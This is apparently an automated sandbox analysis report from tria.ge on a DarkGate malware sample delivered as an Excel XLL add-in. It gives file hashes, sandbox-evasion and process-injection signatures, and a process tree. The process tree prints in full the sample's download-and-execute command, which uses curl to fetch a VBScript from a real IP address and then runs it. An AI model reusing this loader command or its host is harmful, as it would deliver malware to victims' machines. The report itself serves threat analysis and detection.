Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
141s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
11/10/2023, 09:29
Static task
static1
Behavioral task
behavioral1
Sample
darkgate_94_228_169_123.xll
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
darkgate_94_228_169_123.xll
Resource
win10v2004-20230915-en
General
-
Target
darkgate_94_228_169_123.xll
-
Size
50KB
-
MD5
8866d0e530cb613fde59c5476ea6c331
-
SHA1
e77beeb201303b739a9c4536514e48adc2118900
-
SHA256
98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f
-
SHA512
73d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea
-
SSDEEP
1536:9lnq2U5JsS6Nh5wFXscKjrtN/5zqGyiNwmHWR03aY:9c9HQNh5wFXscKXHRzaiNnVqY
Malware Config
Extracted
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation me.exe Key value queried \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 932 me.exe -
Loads dropped DLL 2 IoCs
pid Process 3804 EXCEL.EXE 3804 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Delays execution with timeout.exe 1 IoCs
pid Process 4428 timeout.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings cmd.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3804 EXCEL.EXE -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3804 EXCEL.EXE 3804 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 3804 EXCEL.EXE 3804 EXCEL.EXE 3804 EXCEL.EXE 3804 EXCEL.EXE 3804 EXCEL.EXE 3804 EXCEL.EXE 3804 EXCEL.EXE 3804 EXCEL.EXE 3804 EXCEL.EXE 3804 EXCEL.EXE -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 3804 wrote to memory of 932 3804 EXCEL.EXE 87 PID 3804 wrote to memory of 932 3804 EXCEL.EXE 87 PID 932 wrote to memory of 3516 932 me.exe 90 PID 932 wrote to memory of 3516 932 me.exe 90 PID 3516 wrote to memory of 636 3516 cmd.exe 93 PID 3516 wrote to memory of 636 3516 cmd.exe 93 PID 3516 wrote to memory of 4428 3516 cmd.exe 104 PID 3516 wrote to memory of 4428 3516 cmd.exe 104 PID 3516 wrote to memory of 1192 3516 cmd.exe 105 PID 3516 wrote to memory of 1192 3516 cmd.exe 105
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\darkgate_94_228_169_123.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3804 -
C:\Users\Public\me.exeC:\Users\Public\me.exe about:"<script>var b = new ActiveXObject("wscript.shell"); b.run('cmd /c C:\\Windows\\system32\\curl.exe -o c:\\users\\public\\1.vbs http://178.236.247.73/mWMepfb/123&&timeout 10&&c:\\users\\public\\1.vbs', 0); window.close();</script>"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:932 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://178.236.247.73/mWMepfb/123&&timeout 10&&c:\users\public\1.vbs3⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3516 -
C:\Windows\system32\curl.exeC:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://178.236.247.73/mWMepfb/1234⤵PID:636
-
-
C:\Windows\system32\timeout.exetimeout 104⤵
- Delays execution with timeout.exe
PID:4428
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\users\public\1.vbs"4⤵PID:1192
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
50KB
MD58866d0e530cb613fde59c5476ea6c331
SHA1e77beeb201303b739a9c4536514e48adc2118900
SHA25698c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f
SHA51273d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea
-
Filesize
50KB
MD58866d0e530cb613fde59c5476ea6c331
SHA1e77beeb201303b739a9c4536514e48adc2118900
SHA25698c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f
SHA51273d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea
-
Filesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
-
Filesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045